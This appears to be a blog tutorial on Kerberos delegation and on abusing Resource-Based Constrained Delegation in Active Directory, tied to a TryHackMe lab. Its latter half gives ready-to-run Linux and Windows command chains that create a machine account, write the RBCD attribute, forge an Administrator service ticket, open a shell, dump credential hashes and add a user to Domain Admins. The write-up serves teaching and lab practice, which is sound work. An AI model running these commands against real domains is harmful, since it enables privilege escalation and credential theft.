In this article, we will examine what Resource-Based Constrained Delegation (RBCD) is, and how it can be exploited to achieve a full Computer Account takeover.
Press enter or click to view image in full size
1. Kerberos Delegation 101
If you’re new to Kerberos authentication, I have previously written an article here. To recap, here is the quick breakdown of Kerberos authentication protocol:
- Authentication (TGT): When a user logs in, they prove who they are to the Domain Controller (DC) using their password. In return, the DC hands them a Ticket-Granting Ticket (TGT). This is like a security badge that lets them request access to specific things later.
- Accessing a Service (TGS): When the user wants to access a specific server or service (like a file share), they show their TGT to the DC. The DC checks it and hands them a Ticket-Granting Service (TGS) — often called a service ticket — specifically for that target server. The user hands that TGS to the server to log in.
The Delegation Problem
Sometimes, Server A needs to talk to Server B on your behalf (e.g., a web server checking a backend database for you). To do this, Server A needs to impersonate you. Microsoft built three historical ways to handle this:
- Unconstrained Delegation: You send your TGS and a copy of your TGT to Server A. Server A now possesses your full identity badge and can impersonate you to any service on the network. (Highly dangerous).
Press enter or click to view image in full size
- Constrained Delegation: You send a TGS to Server A. If Server A is explicitly trusted to delegate to Server B, it passes your TGS to the DC and says, “Give me a ticket to Server B for this user.” Crucially, your initial ticket (known as evidence ticket) must have a flag called FORWARDABLE set, meaning you allow it to be passed along. If you are marked as a sensitive user, that flag is blocked.
Press enter or click to view image in full size
- Protocol Transition (S4U2Self): What happens if you login to Server A using something other than Kerberos (like a web form or NTLM)? Server A doesn’t have a Kerberos TGS from you to pass along. With Protocol Transition enabled, Server A can use an extension called S4U2Self to ask the DC: “Hey, pretend this user logged in via Kerberos and give me a service ticket for them out of thin air.” To stop everyone from doing this, the server account must have a special attribute set:
TrustedToAuthForDelegation.
Press enter or click to view image in full size
S4U2Self vs S4U2Proxy
These 2 terms often come up when it comes to delegation, and it’s useful to really internalise what they mean. If you’re already familiar, please skip this section.
S4U2Self (“Service for User to Self”)
- What it means: A service is asking for a ticket for a User back to Self (itself).
- The Analogy: Imagine a web server saying to the Domain Controller, “Hey, Bob just logged into my website using a basic password. Can you give me a Kerberos ticket for Bob to myself so I can verify his identity locally?”
Any account that possesses a Service Principal Name (SPN) — which includes every default computer account in a domain — can successfully invoke S4U2Self for any user.
The catch is simple: if the account does not have the classic Protocol Transition flag enabled, the DC will still issue the ticket for the arbitrary user (such as a Domain Admin), but it will explicitly stamp the ticket flag as NOT FORWARDABLE.
S4U2Proxy (“Service for User to Proxy”)
- What it means: A service takes a user’s ticket and acts as a Proxy to send it somewhere else.
- The Analogy: Now that the web server has a ticket for Bob, it needs to look up Bob’s data on a backend database server. It hands Bob’s ticket back to the Domain Controller and says, “I need to act as a proxy for Bob. Please trade this in for a ticket that lets me talk to the Database Server on his behalf.”
In classic constrained delegation, if you present a non-forwardable evidence ticket to S4U2Proxy, the DC rejects the request with a BAD_OPTION error. This safely blocks unauthorized impersonation.
2. Here Comes RBCD
To fix the administrative headaches of classic constrained delegation, Microsoft introduced RBCD in Windows Server 2012.
Press enter or click to view image in full size
Flipping the Trust Direction
Constrained delegation operates on an outgoing trust model, while RBCD operates on an incoming trust model.
- Classic Constrained Delegation: Domain Admins must configure this. If Server A needs to delegate to Server B, a Domain Admin edits the properties of Server A (
msDS-AllowedToDelegateTo) to say: "Server A is allowed to talk to Server B." - Resource-Based Constrained Delegation (RBCD): This flips the control to the receiving resource. Instead of configuring Server A, a setting is modified on Server B (
msDS-AllowedToActOnBehalfOfOtherIdentity) to say: "I trust Server A to impersonate users to me."
The Weakness in RBCD
Because Microsoft designed RBCD to let local administrators manage their own resources without bugging Domain Admins every time they deployed an application, the permissions required to configure RBCD are much lower.
Get Indigo Shadow’s stories in your inbox
Join Medium for free to get updates from this writer.
Anyone who has write permissions over a computer object (like its creator, or an account with delegated local admin rights over that object in Active Directory) can modify its msDS-AllowedToActOnBehalfOfOtherIdentity attribute, and exploit RBCD.
Also, in classic constrained delegation, if you present a non-forwardable evidence ticket to S4U2Proxy, the DC rejects the request with a BAD_OPTION error. However, with RBCD, the DC accepts a non-fordable ticket!
Why does RBCD work with a non-forwardable ticket?
This is the key difference between classic constrained delegation and Resource-Based Constrained Delegation (RBCD).
In classic constrained delegation, the KDC only allows an S4U2Proxy request if the evidence ticket is FORWARDABLE. Otherwise, the request is rejected.
With RBCD, the KDC instead checks whether the target resource trusts the requesting service through the
msDS-AllowedToActOnBehalfOfOtherIdentityattribute. If that trust exists, the KDC allows the S4U2Proxy request even if the evidence ticket is not forwardable.This is what makes RBCD exploitable: any account with an SPN can obtain a non-forwardable ticket using S4U2Self, and RBCD allows that ticket to be used for S4U2Proxy as long as the target resource trusts the requesting service.
3. Step-by-Step RBCD Exploit Chain
Suppose we find a computer account (“Service B”) where we can modify the RBCD setting (i.e. msDS-AllowedToActOnBehalfOfOtherIdentity) to trust “Service A” to impersonate users. So what?
If we can control Service A, we can get a TGS for any user (say Domain Admin), and impersonate that user to get full access to Service B!
But how can we find a Service A that you can control easily? Create your own Computer Account! By default, a domain user is allowed to add up to 10 computers to the domain.
Wait, Computer Accounts = Service?
In Active Directory, Computer Accounts are fundamentally identical to User Accounts, but with a twist: they are security principals meant for machines, and they automatically possess Service Principal Names (SPNs) like
HOST/orRestrictedKrbHost/. Because Kerberos considers any account with an SPN to be a "service," a computer account natively speaks the entire S4U protocol language. This means it has the inherent authority to request tickets viaS4U2Selfand proxy them viaS4U2Proxy.
Prerequisites for exploit
- A compromised user account that has Write permissions to a computer object’s
msDS-AllowedToActOnBehalfOfOtherIdentityattribute - Another compromised account with an SPN, or the ability to create a new Computer Account (which is possible by default because the MachineAccountQuota attribute allows authenticated users to create up to 10 computer objects unless administrators have changed this setting).
Steps for Exploit
If you like to try this out, you can use this on the TryHackMe room Operation Endgame here.
Press enter or click to view image in full size
- Create a Computer Account (i.e. “Service A”) — If you already have access to an account with an SPN, you can skip this step.
- Configure target computer object (i.e. “Service B”) for RBCD — to let “Service B” trust “Service A” to impersonate any user.
- Get a service ticket to Service B impersonating Administrator user (or any other user) — The service (i.e. SPN) must correspond to a service running on the target machine (e.g. cifs, HOST, HTTP or ldap).
- Pass the ticket — e.g. to get a shell as Administrator on target Computer, access the file system on the target Computer, or harvest credentials from the target Computer (secretsdump.py)
Linux Commands for Exploit
##### Step 1: Create a computer account ####### Option 1: Using Bloodyad
$ bloodyad -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --host "$DC_HOST" add computer 'SomeName$' 'SomePassword'
# Option 2: Using Impacket script
$ addcomputer.py -computer-name 'SomeName$' -computer-pass 'SomePassword' -dc-host "$DC_HOST" -domain-netbios "$DOMAIN" "$DOMAIN"/"$USER":"$PASSWORD"
##### Step 2: Configure RBCD on target Computer Account ######
# Using Impacket rbcd.py script
$ rbcd.py -delegate-from "$CONTROLLED_ACCOUNT" -delegate-to "$TARGET$" -dc-ip "$DC_HOST" -action 'write' "$DOMAIN/$USER:$PASSWORD"
##### Step 3: Get a Service Ticket for Administrator ######
# Using Impacket script getST.py smbc
$ getST.py -spn 'cifs/target' -impersonate "Administrator" -dc-ip "$DC_IP" "$DOMAIN"/"$ACCOUNT_WITH_SPN":"$PASSWORD"
##### Step 4: Pass the ticket to get a shell as Administrator on target computer ######
$ export KRB5CCNAME=administrator.ccache
# The following should work with a cifs ticket.
# Option 1: Get a shell with psexec.py
$ python3 psexec.py <domain>/administrator@<target_ip> -k -no-pass
# Option 2: Do a secretsdump to extract the hashes
$ python3 secretsdump.py -k <target>
# Option 3: access the file system with smbclient
$ python3 smbclient.py -k -no-pass <target>
# Option 4: Use bloodyAD to add user to Domain Admins
# bloodyAD -d <domain> -k --host <hostname> add groupMember "Domain Admins" <username>
Windows Commands for Exploit
You will need to use this for step 1:
##### Step 1: Create a computer account ######
# Using powermad
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid##### Step 2: Configure RBCD on target Computer Account ######
# This security descriptor grants the newly created computer account permission to act on behalf of users to the target computer.
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
##### Step 3: Get a Service Ticket for Administrator ######
Rubeus.exe hash /password:Summer2018!
Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt
##### Step 4: Pass the ticket
# Option 1: Executing command on target as Administrator
.\PsExec.exe -accepteula \\$TARGET cmd
# Option 2: Accessing file system on target computer
ls \\$TARGET\C$
Hope you found this helpful!